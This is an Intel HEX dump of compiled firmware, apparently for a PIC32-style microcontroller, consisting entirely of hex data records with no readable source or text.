:108100001100c2a35160400b000000001000c29398
:108110001100c3931400c48f2118830020006380d2
:108120006800c48f21108200000043a01000c29399
:10813000010042241000c2a31100c2930100422496
:108140001100c2a31100c2930b00422c1c0040106e
:10815000000000001100c2931400c38f21106200c0
:108160002000438020000224e8ff62140000000089
:108170007060400b000000001000c0a36c60400b5a
:10818000000000001000c2931000c3931400c48fbd
:1081900021188300200063806800c48f21108200b2
:1081a000000043a01000c293010042241000c2a3ab
:1081b0001000c2930b00422cf2ff4014000000009c
:1081c0001400c28f3a004294ff0043306800c28f0f
:1081d0000d0043a01400c28f1400438c6800c28fae
:1081e000100043ac1400c28f1e004294001c020019
:1081f0001400c28f1c004294211862006800c28fd4
:10820000140043ac1400c28f360042942118400081
:108210006800c28f240043ac2110000021e8c00395
:108220006400bf8f6000be8f6800bd270800e003b8
:1082300000000000e0ffbd271c00bfaf1800beaf6c
:1082400021f0a0032000c4af2400c5af2800c6afb2
:1082500001000224488082af2000c48f2400c58f13
:108260002800c68f345e400f000000001000c2af2f
:10827000488080af1000c28f21e8c0031c00bf8f70
:108280001800be8f2000bd270800e003000000009a
:10829000e8ffbd271400bfaf1000beaf21f0a00360
:1082a000c560400f0000000000a0023cdc564224e4
:1082b000070042900e0040100000000088bf033c01
:1082c00020606294c47b027c206062a400a0023c17
:1082d000e3564424c265400f0000000088bf033c01
:1082e0002060629401000424c47b827c206062a42c
:1082f000f481828f0300401400000000afa2400f01
:1083000000000000fd62400f00000000bc60400b58
:1083100000000000a0ffbd275c00bfaf5800beaf4b
:1083200021f0a00381bf023cffff0334609043ac07
:10833000c404023c00b442341000c2af1000c28f2b
:108340001400c2af1400c28f1800c2af1800c28f51
:108350001c00c2af1800c38fc404023c01b44234f5
:108360002b10620008004014000000000800023cce
:108370002000c2af1c00c28f421002001c00c2af1e
:10838000e360400b000000002000c0af2000c28f5f
:108390002400c2afc559410f000000002800c2af41
:1083a00088bf023c0030428c0003427cff00423018
:1083b0002c00c2af2c00c28f090040140000000046
:1083c00088bf023c00100324083043ac88bf023c45
:1083d0000030428c00084230fcff401400000000d6
:1083e0002c00c28f3000c2af81bf023c30f240ace3
:1083f00081bf023c99aa033c5566633430f243ac1a
:1084000081bf023c6655033caa99633430f243ac09
:1084100081bf023c00f0428c5400c2af5400c28fb6
:10842000c4a4027c5400c2af5400c38f2400c28f86
:10843000251062005400c2af5400c38f81bf023cbc
:1084400000f043ac81bf023c00f0428c5400c2af4c
:1084500081bf023c3333033c3333633430f243aceb
:108460003000c28f3400c2af3400c28f13004010fe
:108470000000000088bf023c0030428c0003427cb8
:10848000ff0042303800c2af3800c28f0e004014e7
:108490000000000088bf023c00100324083043acf9
:1084a00088bf023c0030428c00084230fcff401480
:1084b000000000003261400b0000000088bf023c59
:1084c00000100324043043ac2800c48f2059410f0e
:1084d000000000001c00c28f3c00c2af4000c0afd3
:1084e0004261400b000000004000c28f01004224a6
:1084f0004000c2af1400c38f36fe023c803c4234c1
:10850000211062001400c2af1400c38fc901023ce5
:1085100081c342342b106200f3ff401000000000c2
:10852000c559410f000000004400c2af88bf023ca3
:108530004000c38f004043ac4400c48f2059410f1a
:10854000000000003c00c28f4800c2afc559410f77
:10855000000000004c00c2af88bf023c4000032472
:10856000042043ac88bf023c0040428c5000c2afa4
:108570005000c28f300042345000c2af88bf023c6e
:108580005000c38f004043ac5659410f000000001b
:108590004c00c48f2059410f0000000088bf023cee
:1085a00010000324641043ac88bf023c681040ac48
:1085b00080bf023c000640ac88bf023c000103249f
:1085c000641043ac88bf023c681040ac80bf023ce2
:1085d000000840ac88bf023c0100033c641043ac7f
:1085e00088bf023c681040ac80bf023c000c40ac2d
:1085f00080bf023c40000324000e43ac80bf023c1d
:10860000100e40ac80bf023cffff0324200e43aca1
:1086100080bf023c00800334080e43ac88bf023c9c
:108620001c000324e41043ac88bf023c1c0003245c
:10863000e81043acd04c410f00000000f09e400f0a
:1086400000000000f481828f03004014000000004d
:10865000afa2400f000000002d00023cc0c6443411
:10866000240e410f00000000bc23410f0000000059
:10867000a461400f0000000021e8c0035c00bf8f30
:108680005800be8f6000bd270800e0030000000016
:10869000e8ffbd271400bfaf1000beaf21f0a0035c
:1086a000188280a30c8280af01000224248282af52
:1086b00088bf033cc061629401000424c47b827cb7
:1086c000c06162a488bf033cd061628c01000424b5
:1086d0008473827cd06162ac88bf033cd061628cc1
:1086e00001000424c47b827cd06162ac88bf033c5f
:1086f00000606294010004248410827c006062a403
:1087000088bf033c00606294010004240421827c41
:10871000006062a488bf033c0060629401000424ee
:108720004429827c006062a488bf033c006062949c
:108730008473027c006062a488bf033c0060629482
:10874000c47b027c006062a488bf033c40606294ea
:108750000421027c406062a488bf033c40606294b4
:108760004429027c406062a488bf033c406062945c
:10877000444a027c406062a488bf033c406062942b
:1087800001000424c45a827c406062a488bf033c78
:1087900040606294010004240463827c406062a40f
:1087a00088bf033c4060629401000424446b827cd7
:1087b000406062a488bf033c806062944408027ced
:1087c000806062a488bf033c806062948410027c55
:1087d000806062a488bf033c80606294c418027cfd
:1087e000806062a488bf033c80606294010004241e
:1087f0000421827c806062a488bf033cc0606294d4
:10880000010004240400827cc06062a488bf033c91
:10881000c06062944408027cc06062a488bf033ccc
:10882000c06062948410027cc06062a488bf033c74
:10883000c0606294c418027cc06062a488bf033c1c
:10884000c06062940421027cc06062a488bf033cc3
:10885000c0606294010004244429827cc06062a448
:1088600088bf033cc0606294010004248431827c90
:10887000c06062a488bf033cc0606294c439027cbb
:10888000c06062a488bf033cc060629401000424fd
:108890000442827cc06062a488bf033cc0606294d2
:1088a000c45a027cc06062a488bf033cc06062946a
:1088b000010004240463827cc06062a488bf033c7e
:1088c000006162940400027c006162a488bf033ce2
:1088d000006162944408027c006162a488bf033c8a
:1088e000006162948410027c006162a488bf033c32
:1088f00000616294c418027c006162a488bf033cda
:10890000006162944429027c006162a488bf033c38
:1089100000616294010004248431827c006162a4bd
:1089200088bf033c0061629401000424c439827c46
:10893000006162a488bf033c006162940442027c2f
:10894000006162a488bf033c00616294444a027cd7
:10895000006162a488bf033c40616294010004246a
:108960000400827c406162a488bf033c4061629441
:10897000010004244408827c406162a488bf033c57
:1089800040616294010004248410827c406162a4ee
:1089900088bf033c406162940442027c406162a44f
:1089a00088bf033c806162948431027c806162a450
:1089b00088bf033c80616294010004240463827ccc
:1089c000806162a488bf033c80616294010004243a
:1089d000446b827c806162a488bf033c80616294a6
:1089e000444a027c806162a488bf033c6060629458
:1089f000444a027c606062a488bf033ca060629429
:108a00004408027ca06062a488bf033ca06062941a
:108a10008410027ca06062a488bf033ca0606294c2
:108a2000c418027ca06062a488bf023cd060428c63
:108a30008001427cff00443088bf033ce0606294c8
:108a40008410827ce06062a488bf023cd060428ccb
:108a50004001427cff00443088bf033ce0606294e8
:108a6000c418827ce06062a488bf033c20616294e9
:108a70004429027c206162a488bf033c2061629487
:108a800001000424444a827c206162a488bf033c24
:108a900020616294c418027c206162a488bf033cf8
:108aa000206162948410027c206162a488bf033c30
:108ab000206162944408027c206162a488bf033c68
:108ac000206162940400027c206162a488bf033ca0
:108ad000a06162948431027ca06162a488bf033cdf
:108ae00020606294c47b027c206062a488bf033c47
:108af000e0606294c45a027ce06062a42d38410fa9
:108b0000000000000100042499f8400f000000005c
:108b1000e8eb400f0000000088bf033c60606294f7
:108b20000421027c606062a488bf033c60606294a0
:108b30004429027c606062a488bf033c2061629487
:108b400001000424c418827c206162a488bf033c15
:108b500020616294010004248410827c206162a45c
:108b600088bf033c20616294010004244408827c95
:108b7000206162a488bf033c206162940100042448
:108b80000400827c206162a488bf033ca0616294df
:108b9000010004248431827ca06162a488bf033c6c
:108ba0002060629401000424c47b827c206062a463
:108bb00088bf033ce060629401000424c45a827cb4
:108bc000e06062a400a0023cdc5642248700429090
:108bd000212040008fc0400f0000000021e8c003aa
:108be0001400bf8f1000be8f1800bd270800e003df
:108bf00000000000e0ffbd271c00bfaf1800beafa3
:108c000021f0a0031000c0a37b14410f000000005e
:108c1000d580839301000224160062140000000036
:108c2000f481828f2000422c0600401400000000d6
:108c300088bf023c8050428c020042300400401049
:108c400000000000000000008964400b00000000ec
:108c5000a1818293070040140000000000a0023ca4
:108c60005c56442440000524a311410f000000007d
:108c70001000c2a35438410f00000000090040104a
:108c80000000000002000224d58082a300a0023c64
:108c90005c56442464000524bf13410f000000000b
:108ca0001000c2a31000c2935c014010000000003d
:108cb0001100c0a37364400b000000001100c393b7
:108cc00000a0023c5c564224211062000000429049
:108cd0000d0003242f004310000000000e00432865
:108ce0000900601000000000080003240c0043107d
:108cf000000000000a0003242600431000000000ca
:108d00004064400b000000001b0003247600431069
:108d1000000000007f000324f9004314000000005d
:108d20001000c0a3dc808293090040140000000002
:108d3000029d023c3cec4424029d023c40ec452454
:108d40000413410f000000007064400b000000009d
:108d5000029d023c3cec4424029d023c44ec452430
:108d60000413410f00000000dc808293ffff4324c6
:108d7000ff006330dc8083a32118400000a0023c88
:108d8000fc6a422421106200000040a07064400b85
:108d900000000000dc8082932118400000a0023c0b
:108da000fc6a422421106200000040a0dd8080a304
:108db00000a0023cfc6a42240000428007004014ec
:108dc0000000000000a0023cfc6a4424c265400f81
:108dd000000000008964400b00000000de808393e7
:108de00001000224200062140000000000a0023ce8
:108df000fc6b4224000042801b0040100000000079
:108e0000010002241100c2a39663400b0000000081
:108e10001100c293ffff4224c019020000a0023ccf
:108e20007c6b4224211862001100c293c021020011
:108e300000a0023c7c6b42242110820021206000b3
:108e400021284000574a410f000000001100c29342
:108e5000010042241100c2a31100c2930200422c5f
:108e6000ebff401400000000de808293c019020076
:108e700000a0023c7c6b42242110620021204000b3
:108e800000a0023cfc6a4524574a410f0000000044
:108e9000de808393df8082932b1043000300401019
:108ea00000000000de808293df8082a3de80829358
:108eb0000500401400000000de808293010042247f
:108ec000ff004230de8082a3dc8080a31000c0a3bc
:108ed00000a0023cfc6a4424c265400f0000000070
:108ee0008964400b00000000d580839301000224b8
:108ef0001700621400000000c263400b0000000075
:108f00007112410f00000000a1818293fcff401408
:108f1000000000000000000000a0023c5c56442459
:108f200002000524a311410f00000000faff4010c9
:108f30000000000000a0023c5c5643905b0002244d
:108f400003006210000000007064400b000000008d
:108f5000e063400b00000000dc808293ffff4224ae
:108f6000ff004230dc8082a3029d023c3cec4424a2
:108f7000029d023c44ec45240413410f0000000014
:108f8000dc808293f4ff40140000000000a0023c4b
:108f9000fc6a40a01000c0a300a0023c5c56422422
:108fa00001004390410002242100621400000000ef
:108fb000de8082930900401400000000029d023c04
:108fc0003cec4424029d023c40ec45240413410f38
:108fd000000000000264400b00000000dd8082936e
:108fe0000700401000000000de808293ffff422453
:108ff000ff004230de8082a30264400b00000000cc
:1090000001000224dd8082a3de808293c019020069
:1090100000a0023c7c6b42242110620000a0033cb3
:10902000fc6a642421284000574a410f00000000d8
:1090300000a0023c5c5642240100439042000224fe
:109040002100621400000000dd8080a3de80839395
:10905000df8082932b1043000500401400000000c5
:10906000de808393010002240900621400000000e6
:10907000029d023c3cec4424029d023c40ec452411
:109080000413410f000000003264400b0000000098
:10909000de80829301004224ff004230de8082a302
:1090a000de808293c019020000a0023c7c6b422447
:1090b0002110620000a0033cfc6a642421284000c7
:1090c000574a410f0000000000a0023cfc6a442403
:1090d0007b4b410f00000000ff004230dc8082a388
:1090e000029d023c3cec442400a0023cfc6a452466
:1090f0000413410f000000007064400b00000000ea
:109100001100c39300a0023c5c564224211062006f
:10911000000042902000422c090040140000000092
:109120001100c39300a0023c5c564224211062004f
:10913000000042907f00422c0a0040140000000012
:10914000029d023c3cec4424029d023c40ec452440
:109150000413410f000000001000c0a37064400b16
:10916000000000001100c493dc80829301004324be
:10917000ff006330dc8083a31100c59300a0033c93
:109180005c5663242118a3000000659000a0033cf6
:10919000fc6a632421184300000065a000a0033c82
:1091a000fc6a6324211043000000439000a0023cad
:1091b000dc44422421108200000043a00000000093
:1091c0001100c293010042241100c2a31100c393f5
:1091d0001000c2932b106200b8fe40140000000083
:1091e000d4808393010002240c006214000000006c
:1091f0001000c39300a0023cdc4442242110620012
:10920000000040a0029d023c3cec442400a0023c33
:10921000dc4445240413410f000000007112410f8b
:109220000000000021e8c0031c00bf8f1800be8fa3
:109230002000bd270800e00300000000e8ffbd2774
:109240001400bfaf1000beaf21f0a003a110410f6a
:109250000000000021e8c0031400bf8f1000be8f83
:109260001800bd270800e00300000000e8ffbd274c
:109270001400bfaf1000beaf21f0a0035411410f86
:109280000000000021e8c0031400bf8f1000be8f53
:109290001800bd270800e00300000000f8ffbd270c
:1092a0000400beaf21f0a003fc81838f01000224e3
:1092b0002b00621400000000d081838f0100022483
:1092c000270062140000000088bf023c0002033c3b
:1092d000741043ac88bf033c805062904408027c09
:1092e000805062a0d08180af100e0224e08082a75f
:1092f000e0808297ffff4224ffff4230e08082a798
:10930000e0808297faff40140000000088bf033c11
:1093100050526290010004248410827c505262a05a
:1093200008070224e08082a7e0808297ffff4224a2
:10933000ffff4230e08082a7e0808297faff40146e
:109340000000000088bf033c505262908410027cf1
:10935000505262a088bf023c0002033c781043ac2c
:1093600021e8c0030400be8f0800bd270800e00309
:1093700000000000e8ffbd271400bfaf1000beaf23
:1093800021f0a0031800c4af1c00c5af2110c0001d
:109390002000c2a71800c28f03000324110043104d
:1093a00000000000720003240600431000000000cb
:1093b000010003240700431000000000fc64400b80
:1093c0000000000001000224d58082a3fc64400b51
:1093d000000000009b64400f00000000fc64400b94
:1093e000000000008f64400f00000000000000003b
:1093f0000100022421e8c0031400bf8f1000be8fbb
:109400001800bd270800e00300000000f0ffbd27a2
:109410000c00beaf21f0a00388bf023c0200032471
:10942000441043ac0000000088bf023c4010428c56
:1094300002004230fcff40100000000081bf023cef
:109440001090428cc001427cff004230010042304b
:109450000400401400000000080002241a65400bbc
:1094600000000000211000000000c2af0000c28f09
:109470000019020081bf023c70904224211062005a
:109480000000428c21e8c0030c00be8f1000bd27f5
:109490000800e00300000000e0ffbd271c00bfaf94
:1094a0001800beaf21f0a0032000c4af2400c5af58
:1094b0002400c48f7b4b410f000000001000c2af9e
:1094c0002000c48f7b4b410f000000001400c2af8e
:1094d0001000c28f040040140000000001000224ac
:1094e0004a65400b000000001400c38f1000c28fbb
:1094f0002b1062000b004014000000002400c48ff9
:109500002000c58f1000c68fae55410f000000002f
:109510000400401400000000010002244a65400bd2
:10952000000000002110000021e8c0031c00bf8fd4
:109530001800be8f2000bd270800e00300000000d7
:1095400078ffbd278400bfaf8000beaf21f0a0032d
:109550008800c4af1c00c3276400022421206000df
:1095600021280000213040007152410f000000000e
:109570008800c48f7b4b410f000000006400422c28
:1095800006004010000000008800c48f7b4b410f94
:10959000000000006865400b000000006400022429
:1095a0001400c2af1400c28f190040100000000068
:1095b0008800c48f029d023c48ec45242665400f7c
:1095c000000000000c004010000000008800c28f66
:1095d000050043241400c28ffbff42241c00c42753
:1095e00021286000213040005855410f0000000044
:1095f0008465400b000000001c00c22721204000b1
:109600008800c58f1400c68f5855410f0000000018
:109610001000c0af1c00c22721204000029d023c68
:1096200050ec4524544e410f000000000100422c34
:10963000ff0042301800c2afae65400b00000000d2
:109640001800c28f0e0040140000000000a0023c71
:109650001000c38f801803005002422421106200c2
:109660000000438c1c00c2272120600021284000fc
:109670002665400f000000000c00401000000000b4
:1096800000a0023c1000c38f801803005002422447
:10969000211062000000428c029d033c58ec6424bf
:1096a000212840000413410f000000001000c28f69
:1096b000010042241000c2af00a0023c1000c38f82
:1096c0008018030050024224211062000000428ce6
:1096d000dbff401400000000029d023c3cec4424ef
:1096e000029d023c60ec45240413410f0000000081
:1096f00021e8c0038400bf8f8000be8f8800bd2793
:109700000800e0030000000078ffbd278400bfaf21
:109710008000beaf21f0a0038800c4af3000c0a31a
:10972000029d023ca8ec42243c00c2af029d023cd8
:10973000acec42244000c2af8800c48f48bc400f4c
:10974000000000008800c28f000042800300401427
:109750000000000001000224d48082a38800c48f8e
:10976000029d023cb0ec452409000624ae55410f91
:109770000000000030004014000000008800c28f8c
:10978000090043246000c22721206000029d033ca1
:10979000bcec6524213040000357410f000000005d
:1097a00021184000010002241e0062140000000085
:1097b00000a0023cdc56422487004290080040147e
:1097c00000000000029d023cc0ec442419bc400f84
:1097d000000000003000c2a30e66400b0000000035
:1097e00001000424e6bb400f000000003000c2a3cb
:1097f0006000c28f21204000010005247109410f43
:10980000000000006000c28f21204000be09410f0f
:10981000000000004015410f000000000e66400be4
:1098200000000000029d023cd4ec442419bc400f0f
:10983000000000003000c2a38800c48f029d023cdb
:10984000f0ec45240a000624ae55410f000000004c
:1098500030004014000000008800c28f0a0043243a
:109860006000c22721206000029d033cbcec6524ff
:10987000213040000357410f000000002118400034
:10988000010002241e0062140000000000a0023c3f
:10989000dc5642248700429008004014000000007b
:1098a000029d023cc0ec442419bc400f00000000a3
:1098b0003000c2a34566400b0000000001000424f4
:1098c000e6bb400f000000003000c2a36000c28f62
:1098d00021204000212800007109410f00000000f4
:1098e0006000c28f21204000be09410f000000002f
:1098f0004015410f000000004566400b00000000cd
:10990000029d023cd4ec442419bc400f000000002e
:109910003000c2a38800c48f029d023cfcec4524a9
:1099200005000624ae55410f000000000e00401453
:109930000000000001000424e6bb400f000000000e
:109940003000c2a38800c28f0500422421204000bd
:10995000842e410f000000000f2f410f0000000077
:109960004015410f000000008800c48f029d023c9a
:1099700004ed4524544e410f000000000600401441
:109980000000000021200000e6bb400f00000000a6
:109990003000c2a3d48080a38800c48f029d023c03
:1099a00008ed452404000624ae55410f00000000d8
:1099b00030004014000000008800c28f04004224e0
:1099c0006000c3271000a3af6400c3271400a3af37
:1099d00021204000029d023c10ed452400a0023ce5
:1099e0007c6c4624e48087270357410f0000000069
:1099f0002118400004000224190062140000000035
:109a0000e480858f6000c38f6400c28f00a0043c97
:109a10007c6c84242130600021384000dafe400f45
:109a2000000000000800401400000000029d023cfd
:109a300020ed442419bc400f000000003000c2a3f8
:109a40009d66400b0000000021200000e6bb400f97
:109a5000000000003000c2a39d66400b0000000023
:109a6000029d023c30ed442419bc400f0000000070
:109a70003000c2a38800c48f029d023c44ed4524ff
:109a8000544e410f000000001e0040140000000072
:109a9000fdeb400f0000000015004010000000002a
:109aa00001000424e6bb400f000000003000c2a308
:109ab0006880829300a0033cf417642421284000ae
:109ac00091b9400f00000000029d023c3cec442490
:109ad000029d023c48ed45240413410f00000000a4
:109ae0004015410f00000000c166400b000000005f
:109af000029d023c4ced442419bc400f00000000c4
:109b00003000c2a38800c48f029d023c54ed45245e
:109b100004000624ae55410f00000000360040143a
:109b20000000000000a0023c7c6c40a06000c0afc0
:109b30008800c28f040043246000c22721206000f7
:109b4000029d033c5ced652400a0033c7c6c662414
:109b5000213840000357410f000000000300422855
:109b60000800401400000000029d023c30ed442437
:109b700019bc400f000000003000c2a3fe66400b7d
:109b8000000000006000c28f2120400000a0023cc5
:109b9000dc24452400a0023c7c6c46249255410ff5
:109ba000000000000f00401000000000010004242d
:109bb000e6bb400f000000003000c2a3029d023c43
:109bc00064ed442400a0023cdc2445240413410f2e
:109bd000000000004015410f00000000fe66400b31
:109be00000000000029d023c6ced442419bc400fb3
:109bf000000000003000c2a38800c48f029d023c18
:109c00007ced4524544e410f000000000900401433
:109c10000000000001000424e6bb400f000000002b
:109c20003000c2a3f539410f000000004015410f7c
:109c3000000000008800c48f029d023c84ed452492
:109c4000544e410f000000001900401400000000b5
:109c500001000424e6bb400f000000003000c2a356
:109c6000029d023c3cec4424029d023c90ed4524c4
:109c70000413410f00000000533a410f00000000a0
:109c80006000c2af6000c28f0700401000000000fb
:109c90006000c28f029d033cc4ed64242128400073
:109ca0006913410f000000004015410f0000000043
:109cb0008800c48f029d023cdced4524544e410fc8
:109cc000000000000d00401400000000010004240a
:109cd000e6bb400f000000003000c2a3029d023c22
:109ce00064ed442400a0023ce35645240413410fd4
:109cf000000000004015410f000000008800c48fe4
:109d0000029d023ce4ed4524544e410f000000004a
:109d10000d0040140000000000a0023ce356442463
:109d200021280000800006247152410f000000002d
:109d300021200000e6bb400f000000003000c2a35d
:109d40006d67400b000000008800c48f029d023c3c
:109d5000f0ed452408000624ae55410f0000000038
:109d600014004014000000008800c28f0800422444
:109d7000212040007b4b410f000000007f00422c5f
:109d80000c004010000000008800c28f0800422430
:109d900000a0033ce356642421284000574a410fa9
:109da0000000000021200000e6bb400f0000000082
:109db0003000c2a38800c48f029d023cfced452404
:109dc000544e410f00000000090040140000000044
:109dd00001000424e6bb400f000000003000c2a3d5
:109de00043c0400f000000004015410f000000007c
:109df0008800c48f029d023c04ee4524090006241d
:109e0000ae55410f000000000c004014000000009f
:109e100001000424e6bb400f000000003000c2a394
:109e20008800c28f090042242120400008bb400f57
:109e3000000000004015410f000000008800c48fa2
:109e4000029d023c10ee4524544e410f00000000dc
:109e5000130040140000000001000424e6bb400f82
:109e6000000000003000c2a3029d023c3cec4424f0
:109e7000029d023c14ee45240413410f0000000033
:109e80004015410f000000000100023ca086443450
:109e9000240e410f00000000cb7a400f00000000ac
:109ea0008800c48f029d023c38ee4524544e410f79
:109eb0000000000007004014000000000100022420
:109ec000d48082a321200000e6bb400f00000000e8
:109ed0003000c2a38800c48f029d023c3cee4524a2
:109ee00007000624ae55410f000000003900401461
:109ef000000000008800c28f070043245c00c227d6
:109f000021206000029d033c44ee65242130400086
:109f10000357410f000000002118400001000224f7
:109f200027006214000000005c00c28f21200000a6
:109f300021284000bb53410f0000000020004104d5
:109f4000000000005c00c28f029d033c6036648c00
:109f5000212840008746410f0000000021184000e2
:109f6000029d023c212060006436458ca948410fc7
:109f700000000000212040001b55410f00000000a0
:109f8000e48082afe480828f42180200e480828ff6
:109f90000300042421286000213040000800072429
:109fa000b20b410f0000000021200000e6bb400f73
:109fb000000000003000c2a3f567400b0000000065
:109fc000029d023c4ced442419bc400f00000000ef
:109fd0003000c2a38800c48f029d023c48ee452495
:109fe00007000624ae55410f000000002c0040146d
:109ff000000000008800c28f070044246000c327cf
:10a000006400c227029d053c50eea524213060006b
:10a01000213840000357410f000000002118400084
:10a020000200022419006214000000006000c28fc8
:10a0300016004010000000006400c38f6000c28f53
:10a040002b10430011004010000000006000c28f80
:10a05000401802006400c28f401002000600042471
:10a06000212860002130400008000724b20b410f76
:10a070000000000021200000e6bb400f00000000af
:10a080003000c2a32868400b00000000029d023c83
:10a090004ced442419bc400f000000003000c2a366
:10a0a0008800c48f029d023c58ee45240700062418
:10a0b000ae55410f000000002400401400000000d5
:10a0c0008800c28f0700422421204000029d023cec
:10a0d00060ee4524e48086270357410f000000000e
:10a0e0002118400001000224130062140000000047
:10a0f000e480828f1000401000000000e480828f16
:10a1000042180200e480828f0300042421286000aa
:10a110002130400008000724b20b410f000000006e
:10a1200021200000e6bb400f000000003000c2a369
:10a130005368400b00000000029d023c4ced44249b
:10a1400019bc400f000000003000c2a38800c48f7b
:10a15000029d023c64ee452405000624ae55410fe5
:10a1600000000000270040140000000000a0023c96
:10a170007c6c40a08800c28f050042242120400052
:10a18000029d023c3cec452400a0023c7c6c462431
:10a190000357410f00000000020042281400401045
:10a1a0000000000000a0023c7c6c4424e5e9400f64
:10a1b000000000000800401400000000029d023c66
:10a1c0004ced442419bc400f000000003000c2a335
:10a1d0008168400b0000000021200000e6bb400f1a
:10a1e000000000003000c2a38168400b00000000a6
:10a1f000029d023c30ed442419bc400f00000000d9
:10a200003000c2a38800c48f029d023c6cee45243e
:10a21000544e410f000000000a00401400000000ee
:10a2200021200000e6bb400f000000003000c2a368
:10a2300088bf033ca061629401000424444a827cec
:10a24000a06162a48800c48f029d023c78ee452480
:10a25000544e410f000000000900401400000000af
:10a2600021200000e6bb400f000000003000c2a328
:10a2700088bf033ca0616294444a027ca06162a44e
:10a280008800c48f029d023c84ee4524544e410f49
:10a290000000000009004014000000000100042438
:10a2a000e6bb400f000000003000c2a31124410fa4
:10a2b000000000004015410f000000008800c48f1e
:10a2c000029d023c8cee452408000624ae55410f49
:10a2d000000000002a0040140000000000a0023c22
:10a2e000d857429021004010000000008800c28f23
:10a2f0000700422421204000029d023c3cec452402
:10a3000000a0023c7c6c46240357410f0000000073
:10a31000211840000100022419006214000000000e
:10a3200000a0023c7c6c4424b1e9400f0000000016
:10a33000070040100000000021200000e6bb400f95
:10a34000000000003000c2a3e068400b00000000e5
:10a35000029d023c4ced442419bc400f000000005b
:10a360003000c2a3e068400b00000000029d023ce8
:10a3700098ee442419bc400f000000003000c2a336
:10a380008800c48f029d023cacee452404000624e4
:10a39000ae55410f000000002e00401400000000e8
:10a3a00000a0023c7c6c40a000a0023c7c6d40a060
:10a3b0006000c0af8800c28f04004224212040000a
:10a3c000029d023cb4ee452400a0023c7c6c462475
:10a3d00000a0023c7c6d47240357410f00000000a1
:10a3e00003004228160040100000000000a0023cbc
:10a3f0007c6c442400a0023c7c6d4524d9e8400fcd
:10a4000000000000070040100000000021200000b4
:10a41000e6bb400f000000003000c2a31569400bee
:10a4200000000000029d023c4ced442419bc400f8a
:10a43000000000003000c2a31569400b00000000be
:10a44000029d023c30ed442419bc400f0000000086
:10a450003000c2a38800c48f029d023cbcee45249c
:10a46000544e410f0000000009004014000000009d
:10a4700001000424e6bb400f000000003000c2a32e
:10a48000d035410f000000004015410f00000000d2
:10a490008800c48f029d023cc4ee452406000624b9
:10a4a000ae55410f000000002700401400000000de
:10a4b0008800c28f060043246000c227212060006c
:10a4c000029d033cccee6524213040000357410f30
:10a4d0000000000021184000010002241500621451
:10a4e000000000006000c28fff00423021204000c9
:10a4f0009535410f000000000700401000000000eb
:10a5000021200000e6bb400f000000003000c2a385
:10a510005269400b00000000029d023cd0ee442432
:10a5200019bc400f000000003000c2a35269400b6c
:10a5300000000000029d023c30ed442419bc400f95
:10a54000000000003000c2a38800c48f029d023cbe
:10a55000e4ee452408000624ae55410f000000003b
:10a5600027004014000000008800c28f0800432428
:10a570006000c22721206000029d033cccee6524d0
:10a58000213040000357410f000000002118400017
:10a590000100022415006214000000006000c28f58
:10a5a000ff00423021204000ae35410f0000000086
:10a5b000070040100000000021200000e6bb400f13
:10a5c000000000003000c2a38069400b00000000c2
:10a5d000029d023cd0ee442419bc400f0000000054
:10a5e0003000c2a38069400b00000000029d023cc5
:10a5f00030ed442419bc400f000000003000c2a31d
:10a600008800c48f029d023cf0ee45240900062418
:10a61000ae55410f0000000027004014000000006c
:10a620008800c28f090043246000c22721206000f7
:10a63000029d033cccee6524213040000357410fbe
:10a6400000000000211840000100022415006214df
:10a65000000000006000c28fff0042302120400057
:10a66000bf35410f0000000007004010000000004f
:10a6700021200000e6bb400f000000003000c2a314
:10a68000ae69400b00000000029d023cfcee442439
:10a6900019bc400f000000003000c2a3ae69400b9f
:10a6a00000000000029d023c30ed442419bc400f24
:10a6b000000000003000c2a38800c48f029d023c4d
:10a6c00008ef4524544e410f0000000011004014d3
:10a6d0000000000001000424e6bb400f0000000061
:10a6e0003000c2a3029d023c3cec4424029d023c8b
:10a6f00010ef45240413410f00000000212000004a
:10a70000212800002540410f000000004015410fa6
:10a71000000000008800c48f029d023c48ef4524e1
:10a72000544e410f000000000900401400000000da
:10a7300021200000e6bb400f000000003000c2a353
:10a7400088bf033c206062948473027c206062a412
:10a750008800c48f029d023c54ef4524544e410fa3
:10a76000000000000a00401400000000212000004a
:10a77000e6bb400f000000003000c2a388bf033cce
:10a7800020606294010004248473827c206062a4af
:10a790008800c48f029d023c60ef4524050006241a
:10a7a000ae55410f000000008b0040140000000077
:10a7b0008800c28f050044246000c3276400c227bc
:10a7c000029d053c50eea524213060002138400058
:10a7d0000357410f000000006800c2af6800c28f3d
:10a7e00005004010000000006800c38f0100022433
:10a7f00005006210000000006800c38f0200022400
:10a8000070006214000000006800c38f0100022481
:10a8100003006214000000006000c28f6400c2af39
:10a8200000a0023cdc564224b400428cffff4324cb
:10a830006000c28f2b10620009004014000000006d
:10a8400000a0023cdc564224b400428cffff4324ab
:10a850006400c28f2b10620008004010000000004e
:10a86000029d023c68ef442419bc400f0000000028
:10a870003000c2a36f6a400b000000006000c38f6d
:10a880006400c28f00a0043cdc24842421286000e2
:10a8900021304000a444410f000000000800401493
:10a8a00000000000029d023c84ef442419bc400fcc
:10a8b000000000003000c2a36f6a400b00000000df
:10a8c00001000424e6bb400f000000003000c2a3da
:10a8d00000a0023cdc564224b800428c82180200e0
:10a8e00000a0023c7c6c422421106200000040a0c9
:10a8f0006000c28f3400c2af3800c0af666a400b40
:10a9000000000000029d023c94ef44243400c58ff7
:10a910006913410f0000000000a0023cdc564224f5
:10a92000b800428c821802003800c28f1800620002
:10a9300000a0023cdc2442241220000021188200e6
:10a9400000a0023cdc564224b800428c8210020077
:10a9500000a0043c7c6c842421286000213040004d
:10a96000214b410f00000000029d023c64ed442495
:10a9700000a0023c7c6c45240413410f0000000041
:10a980003400c28f010042243400c2af3800c28fad
:10a99000010042243800c2af6400c28f3400c38f6c
:10a9a0002b104300d7ff4010000000004015410f5e
:10a9b00000000000766a400b00000000766a400b41
:10a9c00000000000029d023c9cef442419bc400f93
:10a9d000000000003000c2a38800c48f029d023c2a
:10a9e000b8ef452404000624ae55410f00000000d6
:10a9f0001f0040140000000000a0023cdc5642246e
:10aa00008700429015004010000000008800c28faf
:10aa100004004224212040000837410f00000000bc
:10aa2000070040100000000021200000e6bb400f9e
:10aa3000000000003000c2a39c6a400b0000000030
:10aa4000029d023c4ced442419bc400f0000000064
:10aa50003000c2a39c6a400b00000000029d023c33
:10aa6000c0ef442419bc400f000000003000c2a316
:10aa70008800c48f029d023cd4ef4524544e410f00
:10aa80000000000008004010000000008800c48f93
:10aa9000029d023ce0ef4524544e410f00000000af
:10aaa000650040140000000000a0023cd85742900e
:10aab0000800401400000000029d023cecef44241a
